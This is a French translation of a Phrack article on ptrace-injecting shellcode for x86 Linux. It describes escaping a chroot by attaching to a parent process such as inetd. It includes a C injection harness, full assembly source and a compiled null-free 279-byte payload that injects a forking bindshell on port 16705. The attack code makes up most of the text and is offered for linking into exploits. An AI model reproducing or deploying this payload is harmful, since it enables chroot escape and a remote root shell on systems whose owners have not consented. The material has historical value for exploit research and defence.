Pratique des shellcodes d'injection ptrace

NdT: Cette traduction est loin d'etre parfaite, veuillez m'en excuser. -z33w-


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12

|=---------------=[ Building ptrace injecting shellcodes ]=--------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ anonymous author <p59_0c@author.phrack.org ]=-----------=|

       |=-----=[ Pratique des shellcodes d'injection ptrace ]=-----=|
       |=----------------------------------------------------------=|
       |=------=[ Traduit par z33w  <z33w@kernel-land.org> ]=------=|


---[ Sommaire

1 - Environnement de test
2 - Pourquoi devrions nous faire un shellcode injectant un ptrace ?
3 - Que fait ptrace
   3.1 - Prérequis
   3.2 - Comment la librairie fait-elle l'appel
4 - Injection de code dans un processus - en C
   4.1 - La pile (stack) est notre amie
   4.2 - Code à injecter
   4.3 - Notre premier code C
5 - Premier essai de shellcode
   5.1 Quand vous avez besoin de quelqu'un a tracer
   5.2 Attente (de l'amour?)
   5.3 Registres, où êtes vous ?
   5.4 Upload en cours
   5.5 Tu sera un homme, mon fils.
6 - References et remerciements

---[ 1 - Environnement de test

  Avant toute chose, je dois fixer des regles pour mon terrain de jeu. J'ai
testé toutes ces techniques sous Linux 2.4.18 i386 avec une pile executable.
Elles peuvent fonctionner sous toutes les versions linux, exceptées celles dont
la pile n'est pas exécutable, à cause du concept de l'injection (dans la pile).
En modifiant un peu ces techniques, il devrait être possible d'exploiter
n'importe quel OS sur n'importe quelle architecture, du moment que l'appel
système ptrace() est supporté.


---[ 2 - Pourquoi devrions nous faire un shellcode injectant un ptrace ?

   A partir de la serie des kernels 2.4.x, le chroot Linux n'est plus cassable
par la bonne vieille methode bien connue (utilisant des astuces de chroot()). Le
chroot Linux restreint desormais l'utilisation des VFS, et un shell root sur un
processus chrooté n'est (theoriquement) plus utilisable par un cracker, sauf si
l'on modifie (par exemple sur un serveur FTP) l'arbre FTP.

  Un uid de 0 peut permettre a un cracker de faire de nombreuses choses qui ne
sont pas restreintes par le VFS sur un kernel 2.4 standard :
 - Changer des parametres kernel (date du jour, etc...).
 - Inserer un module kernel (peut être exploitable, mais tres difficile d'y
inclure un shellcode à cause des restrictions concernant l'espace reservé. C'est
dailleurs ce qui a ete utilise pour un exploit wuftp v2.5: uploader
une backdoor kernel et un insmod lié statiquement. C'est bien plus compliquée à
réussir que les astuces que je vais décrire.)
 - Plusieurs petites choses rattachées aux VFS, comme l'utilisation de
descripteurs de fichiers (file descriptors = fd) ouverts.
 - Debugger n'importe quel processus du systeme.

  Il y a une enorme vulnerabilite sur le systeme chrooté, qui est corrigée par
des patches de securite disponible sur le net. Un utilisateur root dans un
environnement chroote est capable d'exploiter ptrace() sur n'importe quel
processus tournant sur le système (excepte init ;))

  Cette technique est aussi générique (n'utilise pas les fd ouverts, peut être
utilisée même pour un processus non root), et un Apache chrooté peut infecter
fingerd, par exemple.

  Voici d'ou viens l'idée de créer un shellcode ptrace. Nous pouvons, avec ce
shellcode, tracer des processus non-restreints et y injecter un deuxieme
shellcode, qui lance un bindshell dans notre exemple.

  Voici ce que nous voulons pour ce shellcode ptrace :
- Une taille relativement petite (doit être utilisable comme un vrai shellcode).
J'ai vu dans quelques exploits (comme le 7350wu) un shellcode un peu plus petit
faisant un read(0, %esp, shellcode_len), et je l'ai consideré comme une très
bonne idée pour injecter un gros shellcode. Donc ce paramètre n'est pas décisif.

- On doit pouvoir le lancer plusieurs fois dans un court laps de temps. Si la
première exploitation échoue (e.g. le port déjà bindé), le processus tracé ne
doit pas crasher (dans le cas de wuftp, si nous injectons du code malin dans
inetd, il devrait permettre l'écoute des connections ftp).

 - Le choix du processus cible doit etre le plus souvent possible le processus
parent (inetd pour un serveur ftp) qui a la plupart du temps un acces root
complet. Nous pouvons également essayer tous les pid, commencant a 2, jusqu'à ce
que nous trouvions quelque chose de traçable.

  - Nous ne pouvons pas regarder ce qui se trouve dans /proc pour chaque
processus à tracer.

Ces regles peuvent être respectées, et sont, je pense, suffisantes pour la
plupart des situations d'exploitation. 


---[ 3 - Que fait ptrace

3.1 - Prérequis

  Vous devez savoir que l'appel système ptrace à été créé pour tracer et
débugger les processus en mode utilisateur.
  Un processus peut être ptracé par un seul processus à la fois, et uniquement
par un pid appartenant au meme utilisateur, ou au root.
  Sous Linux, les commandes ptrace sont toutes implementées par la
fonction/appel système ptrace(), avec quatre paramètres. Son prototype est le
suivant :

       #include <sys/ptrace.h>

       long  int ptrace(enum __ptrace_request request, pid_t pid,
       void * addr, void * data)

  'request' est une constante symbolique déclarée dans sys/ptrace.h. Nous allons
utiliser ceux-là :

PTRACE_ATTACH :
	Attachement au pid du processus.

PTRACE_DETACH :
	Detachement du pid du processus. Ne jamais oublier de faire ceci, sinon
	votre processus tracé restera en mode stoppé, ce qui est impossible à
	rétablir à distance.

PTRACE_GETREGS :
	Cette commande copie les registres du processus dans la structure
	pointée par data (addr est ignorée). Cette structure est définie par
	struct user_regs_struct, dans asm/user.h :

	struct user_regs_struct {
	        long ebx, ecx, edx, esi, edi, ebp, eax;
	        unsigned short ds, __ds, es, __es;
	        unsigned short fs, __fs, gs, __gs;
	        long orig_eax, eip;
	        unsigned short cs, __cs;
	        long eflags, esp;
	        unsigned short ss, __ss;
	};

PTRACE_SETREGS :
	Cette commande est l'opposé de la précédente, avec les mêmes arguments

PTRACE_POKETEXT : 
	Copie 32 bits de l'adresse pointée par data dans l'adresse addr du
	processus tracé. C'est l'équivalent de PTRACE_POKEDATA.

  Une chose importante quand vous attachez un pid, vous devez attendre le 
blocage du processus tracé et le signal SIGCHLD.
  wait(NULL) fait ceci parfaitement (implémenté dans le shellcode par waitpid).


3.2 - Comment la librairie fait elle l'appel
  Comme nous ecrivons du code asm, nous devons savoir comment appeler
directement l'appel système ptrace. Quelques petits tests suffisent à nous
montrer comment la bibliothèque emballe les syscalls, et simplement:

eax est SYS_ptrace (26 decimal)
ebx est request (e.g. PTRACE_ATTACH est 16)
ecx est pid
edx est addr
esi est data
en cas d'erreur, -1 est stocké dans eax.


---[ 4 - Injection de code dans un processus - en C

4.1 - La pile est notre amie

  J'ai vu plusieurs mechanismes d'injection utilises par des exploits ptrace()
pour Linux, qui injectaient un shellcode standard dans l'espace memoire pointé
par %eip. C'est la methode paresseuse pour réaliser une injection, puisque le
processus cible est détraqué et ne peut plus être réutilisé (il crashe ou ne
forke plus).
  Nous devons alors trouver une autre méthode pour exécuter notre code dans le
processus cible. C'est ce à quoi j'ai pensé et j'ai trouvé ceci :

 1 - Récupérer l'eip courant du processus, ainsi que esp.
 2 - Décrémenter esp de quatre.
 3 - Mettre l'adresse de eip a l'adresse pointée par esp.
 4 - Injecter le shellcode a l'adresse  esp - 1024 (pas directement avant
	l'espace pointe par esp, car certains shellcodes utilisent
	l'instruction push)
 5 - Mettre le registre eip a la valeur de esp - 1024
 6 - Invoquer la methode SETREGS de ptrace
 7 - Detacher le processus et le laisser ouvrir un shell root pour vous :)

  La raison pour laquelle on ne peut pas utiliser les systemes qui n'ont pas de
pile exécutable est que le shellcode est uploadé dans la pile. Ce n'est pas un
bug, mais une particularité. J'ai entendu parler de méthodes consistant à sauver
le contexte memoire du processus tracé, uploader le shellcode, attendre la fin
de son exécution (generalement apres le fork) et restaurer l'état précédent du
processus tracé.
  C'est une méthode, mais je ne pense pas qu'elle soit vraiment efficace, car
les patchs non-exec modernes empêchent aussi le ptracing des processus non
restreints (Grsec le fait, tout du moins).

La pile cible peut ressembler a ceci:

[DOWN][pile du programme][vieux_eip][bourrage sur 1024 octets][shellcode][UP]
                         ^> L'esp original pointe ici          nouvel eip<^
                          le nouvel<^>esp pointe la

Avant d'exploiter, il ne faut pas oublier d'inserer deux octets nops avant le
shellcode. Pourquoi? parce que si ptrace interrompt un syscall en train de
s'executer, le kernel va soustraire deux octets de l'eip apres le PTRACE_DETACH
pour redemarrer le syscall!


   4.2 - Code à injecter
  Le code à injecter doit marcher sans problème avec la pile que nous avons
spécialement modifié : ca doit forker et laisser le processus original continuer son travail.
Le nouveau processus doit lancer un bindshell!
Voici le code s1.S, compilable avec gcc :

/* toute cette partie doit aller dans le processus injecte */
/* en d'autres termes, ceci est le shellcode injecte. */
.globl injected_shellcode
injected_shellcode:
// la ret location a ete pushee precedemment
nop
nop
pusha           // sauver avant de faire quoique ce soit
xor %eax,%eax
mov $0x02,%al  //sys_fork
int $0x80       //fork()
xor %ebx,%ebx
cmp %eax,%ebx   // pere ou fils ?
je  son         // Je suis le fils
// ici, je suis le pere, je dois restaurer mon etat precedent
father:
popa
ret /* l'adresse de retour a ete pushee sur la stack precedemment
code termine pour le pere */

son: /* shellcode standard, de votre choix */
.string ""

local@darkside:~/dev/ptrace$ gcc -c s1.S
Explications:
Les deux premiers nops sont les nops dont je vous ai parle juste avant,
car dans mon shellcode final je choisi de decrementer de deux l'adresse
du buffer de destination.
Pusha sauve tous les registres de la stack, le processus doit donc les restaurer
juste apres le fork(). (je parle de eax et ebx)

Si la valeur de retour du fork est zero, c'est que le fils est en train de
s'executer. C'est ici que nous injectons un shellcode.
Si la valeur de retour est differente de zero (donc un pid), on restaure les
registres et l'eip sauve precedemment.
Et le programme continue son execution comme si de rien n'etait ;)


   4.3 - Notre premier code C

Beaucoup de theorie, a present, un peu de pratique. Ci-dessous, un programme
qui va forker, attacher son fils, y injecter le code, le laisser s'executer
et le killer ensuite. Voici donc p2.c :

#include <stdio.h>
#include <sys/ptrace.h>
#include <linux/user.h>
#include <signal.h>
typedef long int pid_t;

void injected_shellcode();
char *hello_shellcode=
"\x31\xc0\xb0\x04\xeb\x0f\x31\xdb\x43\x59"
"\x31\xd2\xb2\x0d\xcd\x80\xa1\x78\x56\x34"
"\x12\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c"
"\x6f\x2c\x57\x6f\x72\x6c\x64\x20\x21" ;
/* affiche hello. Quelle prouesse ! */

char *shellcode;
int child(){
        while(1){
                write(2,".",1);
                sleep(1);
                }
        return 0;
        }
int father (pid_t pid){
        int error;
        int i=0;
        int ptr;
        int begin;
        struct user_regs_struct data;
        if (error=ptrace(PTRACE_ATTACH,pid,NULL,NULL))
                perror("attach");
        waitpid(pid,NULL,0);
        if(error=ptrace(PTRACE_GETREGS,pid,&data,&data))
                perror("getregs");
        printf("%%eip : 0x%.8lx\n",data.eip);
        printf("%%esp : 0x%.8lx\n",data.esp);

        data.esp -= 4;
        ptrace(PTRACE_POKETEXT,pid,data.esp,data.eip);

        ptr=begin=data.esp-1024;
        printf("Inserting shellcode into %.8lx\n",begin);
        data.eip=(long)begin+2;
        ptrace(PTRACE_SETREGS,pid,&data,&data);
        while(i<strlen(shellcode)){
                ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *)
(shellcode+i));
                i+=4;
                ptr+=4;
                }
        ptrace (PTRACE_DETACH,pid,NULL,NULL);
        return 0;
}
int main(int argc,char **argv){
        pid_t pid=0;
        if(argc>1)
                pid=atoi(argv[1]);
        shellcode=malloc( strlen((char*) injected_shellcode) +
                strlen(hello_shellcode) + 4);
        strcpy(shellcode,(char *) injected_shellcode);
        strcat(shellcode,(char *) hello_shellcode);
        printf("p2 : trying to launch shellcode on forked process\n");
        if(pid==0)
        pid=fork();
        if (pid){
                printf("I'm the father\n");
                sleep(2);
                father(pid);
                sleep(2);
                kill(pid,9);
                wait(NULL);
        }else{
                printf("I'm the child\n");
                child();
        }
        return 0;
}

Compilez tout ca: gcc -o p2 p2.c s1.S
et admirez mes capacites de couper/coller ;)

local@darkside:~/dev/ptrace$ ./p2
p2 : trying to launch shellcode on forked process
I'm the father
I'm the child
...%eip : 0x400c0a11
%esp : 0xbffff470
Inserting shellcode into bffff06c
.Hello,World !.

Ca marche vraiment. Le .... processus forke et affiche "Hello, world!".


5 - Premier essai de shellcode

Avant de commencer, rappelons nos regles. Je vais le coder sans vraiment
en optimiser la taille (je laisse ca a bighawk ou pr1), mais en l'ecrivant
de sorte a conditionner l'assemblage par le pre-compilateur.

gcc -DLONG  -> pour une verif minutieuse du shellcode
gcc -DSHORT -> pour un tres petit shellcode (qui fait le minimum, mais est peu
sûr)

Bien. Si la taille est vraiment importante, on exit(0) simplement en jumpant
n'importe ou, ou si la taille n'est pas importante du tout, on peut faire
quelques tests draconiens.
Je vais utiliser la syntaxe AT&T, compilable avec gcc.
Si vous n'aimez pas cette syntaxe, un bon gros script awk peu modifier cela ;)


   5.1 Quand vous avez besoin de quelqu'un a tracer

  Une approche basique est de d'abord mettre le pointeur de pile à une grande
valeur. Nous ne pouvons pas etre certains que le pointeur de pile ne soit pas
plus bas que l'eip courant (dans le cas d'un overflow base sur la pile).
La methode la plus simple de faire ceci, est de mettre esp a 0xbffffe04.
Cette valeur de esp fonctionne sur presque toutes les boxes linux/x86 que
j'ai vues, et est proche du bas de la pile, mais pas trop et donc ne contient
pas de zero.

 Ensuite, on recupere le ppid process avec l'appel systeme getppid(); puis on
essaie d'abord de l'attacher. Si l'attachement echoue, on a 99% de chances pour
que le ppid soit init. Dans ce cas, on incremente le pid jusqu'a ce qu'on puisse
y attacher quelque chose.
(Attention au debuggage de cette partie du code, car ce n'est pas facile du
tout. Lorsque vous tracez un processus, vous devenez son ppid. Dans ce cas, le
shellcode va attacher votre debugger et un deadlock mutuel va apparaitre. Qui a
dit "Une bonne et cool methode anti-debugger" ?)
J'ai inclu un test pour la variable pre-processeur DEBUG_PID. Mettez le pid que
vous voulez pour injecter quelque chose.

  Notez que le pid est mis sur la stack, a la place 12(%ebp). C'est utile parce
que nous allons avoir besoin de ca dans presque tous les appels systeme.


   5.2 Attente (de l'amour?)

  A présent, le petit shellcode doit attendre son fils. Il y a 2 facons de le
faire:
- waitpid(pid,NULL,NULL);
- gros gros loop;

  Comme je n'ai pas réussi a faire un court (dans le temps) loop de taille
plus petite que le syscall, le code contient seulement l'appel système.


   5.3 Registres, ou êtes-vous ?

  Le processus cible est prêt à être modifié, mais la premiere chose à faire
avec est d'extraire les registres.
Le registre ebp est sauvé dans esi, puis esi est incrémenté de 16.
Il va etre l'argument 'donnee' de l'appel ptrace.
Apres le syscall, les registres cibles commencent a 16(%ebp).
Les registres interessants sont:
esp : 76(%ebp)
eip : 64(%ebp)

  Les astuces pour les registres que j'ai decrites précédemment, sont dans la
source du shellcode mais ne sont pas si compliquees,  incluant l'instruction
"push"-like pour pusher l'ancienne adresse d'eip.


   5.4 Upload en cours...

  "Uploader" le shellcode, ou l'injecter dans le processus cible, est juste un
petit loop. Le shellcode lui-meme n'est pas totalement clair car le compteur
de loop utilisé est esp.

  Nous attribuons à esp la valeur spécifiée dans la macro SHELLCODELEN. Dans
edi, on met l'adresse mémoire du shellcode injecté dans le processus courant.
Edx contient l'adresse de la cible, précédemment décrémentée de deux,
conformément à notre première note à ce sujet.

  Comme après l'appel d'interruption, eax doit être à zéro, on peut l'utiliser
en toute sécurité pour tester si esp parvient a l'état final.



   5.5 Tu sera un homme, mon fils.

  Nous pouvons desormais detacher le processus sans crainte. Si on oublie de le
detacher (par paresse ou par manque d'espace), le processus restera dans un 
état interrompu, et requiert SIGCONT pour lancer notre bindshell.
Apres ce dur labeur, le shellcode peut se terminer, juste en faisant un exit(),
qui normalement n'alerte pas inetd et ne cree pas de note d'alarme dans le
syslog (pour la version sympa, "ret" peut etre suffisant pour faire segfaulter
et clore le processus).

  Le bindshell que j'ai crée binde le port 0x4141. Souvenez vous que deux
exécutions rapides du shellcode peuvent bloquer le port 0x4141 pour quelques
minutes.
  C'était un peu pénible pendant le codage.

  Le shellcode n'a pas encore ete optimise en taille.
On peut compiler le code attache avec :
  gcc -DLONG -c -o injector.o injector.S
et le linker avec notre exploit favori. Le code est denue de caracteres NULL
Je n'ai pas cherche les newlines, les retours chariots, les espaces,
les pourcentages, 0xFF, etc..


---[ 6 - References et remerciements

Le man de ptrace() est super, limpide, interessant, tout ca...

Intel documentation book 2 : the instructions fut un livre tres utile, bourré
d'instructions-d'1-octet-qui-font-tout-plein-de-choses.

Une grand merci specialement a tous les gars de minithins.net, les gens d'UNF,
ma copine de j'adore, et bien sur AT&T pour leur syntaxe asm super.
Merci egalement aux channels #fr, #ircs, #!w00nf, #segfault, #unf pour leur
soutien et particulièrement à Double-p, Fozzy et Ouah qui ont corrigé mon pauvre
anglais et m'ont donne quelques conseils.


<injector.s>
/* INJECTOR.S VERSION 1.0 */
/* Injects a shellcode in a process using ptrace system call */
/* Tested on : linux 2.4.18 */
/* NOT SIZE-OPTIMIZED YET */


#define SHELLCODELEN 30
	/* That is, size of (the injected shellcode + bindshell)/4 */ 
#ifndef SHORT
	#define LONG
#endif

#ifdef LONG
	#undef SHORT
#endif
.text
.globl shellcode
.type	 shellcode,@function

shellcode:
/* injector begins here */

mov $0xbffffe04,%esp

/* first thing, we have to find our ppid */
xor %eax,%eax
mov $64,%al	/* sys_getppid	*/
int $0x80
#ifdef DEBUG_PID
	mov $DEBUG_PID,%ax
#endif
	/* put it on the stack */
mov %esp,%ebp	/* save the stack in stack pointer */
mov %eax,12(%ebp)	/* save the pid there */
/* now we have to do a ptrace */
redo:
xor %eax,%eax
mov $26,%al	/* sys_ptrace */
mov 12(%ebp),%ecx
mov %eax,%ebx
mov $0x10,%bl	/* PTRACE_ATTACH */
int $0x80	/* do ptrace(PTRACE_ATTACH,getppid(),NULL,NULL); */
xor %ebx,%ebx
cmp %eax,%ebx
je good	/* we are not leet enough, or ppid is init	*/	
inc %ecx
mov %ecx,12(%ebp)
jmp redo

good:
/* now we have to do a waitpid(pid,NULL,NULL)	*/
mov %eax,%edx /* NULL */
mov %ecx,%ebx /* pid */
mov %edx,%ecx /* NULL */
mov $7,%al /* SYS_waitpid */
int $0x80

getregs:
/* now get its registers */
xor %eax,%eax /* Should waitpid return 0 ? never ;) */
xor %ebx,%ebx 
mov %ebp,%esi   
add $16,%esi	/* 16 up of the stack pointer */
mov $12,%bl	/* %ebx is zero, PTRACE_GETREGS */
mov 12(%ebp),%ecx /* pid */
mov $26,%al	/* %eax is zero. */

/* %edx doesn't contain anything since PTRACE_GETREGS doesn't use addr */
int $0x80

/* so now we have registers in 16(%ebp) */
/* two interresting : %eip and %esp     */
/* %eip : (16+48)(%ebp)			*/
/* %esp : (16+60)(%ebp)			*/
/* rq : 12(%ebx) contains ppid 		*/
/* 8(%ebx) will contain the eip		*/

custom_push:
sub $4,76(%ebp)		/* dec the esp */
mov 76(%ebp),%edi	/* put it in our temp eip */
sub $1036,%di
mov %edi,8(%ebp) /* that's the address where we */
		/* shall start to install our code */
/* we need to push the eip at top of the stack */

mov $26,%al
mov $4,%bl	/* PTRACE_POKETEXT*/
mov 12(%ebp),%ecx /*ppid */
mov 76(%ebp),%edx /* esp we have decremented */
mov 64(%ebp),%esi /* old eip */
int $0x80 /* what a work for push %eip */
mov  %edi ,64(%ebp) /* eip = our code nah, %edi == 8(%ebp) */
/* now put our cool registers set */

setregs:
xor %eax,%eax
xor %ebx,%ebx
mov $26,%al
mov $13,%bl	/* PTRACE_SETREGS*/
/* ppid always set so %ecx */
/* %edx ignored */
mov %ebp,%esi
add $16,%esi
int $0x80
/* registers have been updated. now inject the shellcode */
/* %edi : location in memory where we put the shellcode */

jmp start
goback: /* push on the stack the address of the shellcode to inject */

mov %edi,%edx	/* addr */
dec %edx
dec %edx
/* returning from syscall, eip goes 2 before current eip */
/* with this trick, it goes on 2 nops */
pop %edi	/* data */
xor %eax,%eax
mov $SHELLCODELEN,%al
mov %eax,%esp
mov $4,%bl

loop:
mov $26,%al
mov 12(%ebp),%ecx
mov (%edi),%esi
int $0x80
dec %esp
add $4,%edx  /* target shellcode */
add $4,%edi  /* local shellcode, source */ 
cmp %esp,%eax  /* Len > 0 ? */
jne loop    

detach:
mov $26,%al
xor %ebx,%ebx
mov $0x11,%bl	/* PTRACE_DETACH */
mov 12(%ebp),%ecx	/* pid */
//xor %edx,%edx
//xor %esi,%esi
int $0x80
/* Now we can exit */

failed:
#ifdef LONG
xor %eax,%eax		/* exit silently */
mov %eax,%ebx
mov $1,%al	/* sys_exit */
int $0x80 	/* die in peace, poor child */
#endif
#ifndef LONG
ret
#endif

start:
call goback

/* all that part has to be done into the injected process */
/* in other word, this is the injected shellcode          */

// ret location has been pushed previously
nop
nop
pusha 		// save before anything by saving registers
xor %eax,%eax
mov $0x02,%al  //sys_fork
int $0x80	//fork()
xor %ebx,%ebx
cmp %eax,%ebx	// father or son ?
je  son		// I'm son
//here, I'm the father, I've to restore my previous state
father:
popa
ret
/* code finished for the father */
son: /* standard shellcode, at your choice */

/* Bind shellcode */
lnx_bind:
xor %eax,%eax
cdq /* %edx= 0 */
push %edx /* IPPROTO_TCP */
inc %edx		/* SOCK_STREAM */
mov %edx,%ebx /* socket() */
push %edx
inc %edx		/* AF_INET */
push %edx
mov %esp,%ecx 

mov $102,%al
int $0x80

mov %eax,%edi /* Save the socket in %edi */

cdq /* %edx= sign of %eax = 0 */
inc %ebx /* bind */ /* was 1, become 2 */
push %edx /* 0.0.0.0 addr */
/*change \/ here */
push $0x4141ff02 /* here, change the 0x4141 for the port */
/*       /\      */


mov %esp,%esi /* save the address of sockaddr in %esi */
push $16    /* Size of this shit */ //$16 
push %esi /* struct sockaddr * */
push %edi /* socket number */
mov %esp,%ecx
	/* bind() */
mov $102,%al
int $0x80

/* Erf, I use the previous data on the stack, they are even good enough */
inc %ebx /*3...*/
inc %ebx /*4 */ 
mov $102,%al
int $0x80 /* Listen(fd,somehug) (somehuge always > 0 so it's good) */

push %esp	/* Len */
push %esi	/* sockaddr* */
push %edi	/* socket */
inc %ebx 	/* 5 */ 
mov %esp,%ecx
mov $102,%al
int $0x80 /* accept */

xchg %eax,%ebx /* Save our precious file descriptor */
pop %ecx /* take the value of %edi, that's usualy %ebx-1 */
duploop:
mov $63,%al /* dup2 */
int $0x80
dec %ecx
cmp %ecx,%edx
jle duploop

//jnl loop /* For each file descriptor before %ebx, dup2() it */


/* Std lnx_bin_sh_1 shellcode */
push %edx
push $0x68732f6e
push  $0x69622f2f
mov %esp,%ebx
push %edx
push %ebx
mov %esp,%ecx
mov $11, %al
int $0x80

.string ""

</injector.s>

<injector.h>
 // compiled with -DLONG
 // binds to port 16705
char injector_lnx[]= 
"\xbc\x04\xfe\xff\xbf\x31\xc0\xb0\x40\xcd"
"\x80\x89\xe5\x89\x45\x0c\x31\xc0\xb0\x1a"
"\x8b\x4d\x0c\x89\xc3\xb3\x10\xcd\x80\x31"
"\xdb\x39\xc3\x74\x06\x41\x89\x4d\x0c\xeb"
"\xe7\x89\xc2\x89\xcb\x89\xd1\xb0\x07\xcd"
"\x80\x31\xc0\x31\xdb\x89\xee\x83\xc6\x10"
"\xb3\x0c\x8b\x4d\x0c\xb0\x1a\xcd\x80\x83"
"\x6d\x4c\x04\x8b\x7d\x4c\x66\x81\xef\x0c"
"\x04\x89\x7d\x08\xb0\x1a\xb3\x04\x8b\x4d"
"\x0c\x8b\x55\x4c\x8b\x75\x40\xcd\x80\x89"
"\x7d\x40\x31\xc0\x31\xdb\xb0\x1a\xb3\x0d"
"\x89\xee\x83\xc6\x10\xcd\x80\xeb\x34\x89"
"\xfa\x4a\x4a\x5f\x31\xc0\xb0\x1e\x89\xc4"
"\xb3\x04\xb0\x1a\x8b\x4d\x0c\x8b\x37\xcd"
"\x80\x4c\x83\xc2\x04\x83\xc7\x04\x39\xe0"
"\x75\xec\xb0\x1a\x31\xdb\xb3\x11\x8b\x4d"
"\x0c\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd"
"\x80\xe8\xc7\xff\xff\xff\x90\x90\x60\x31"
"\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xc3\x74"
"\x02\x61\xc3\x31\xc0\x99\x52\x42\x89\xd3"
"\x52\x42\x52\x89\xe1\xb0\x66\xcd\x80\x89"
"\xc7\x99\x43\x52\x68\x02\xff\x41\x41\x89"
"\xe6\x6a\x10\x56\x57\x89\xe1\xb0\x66\xcd"
"\x80\x43\x43\xb0\x66\xcd\x80\x54\x56\x57"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0"
"\x3f\xcd\x80\x49\x39\xca\x7e\xf7\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ;
 /*size :279 */
</injector.h>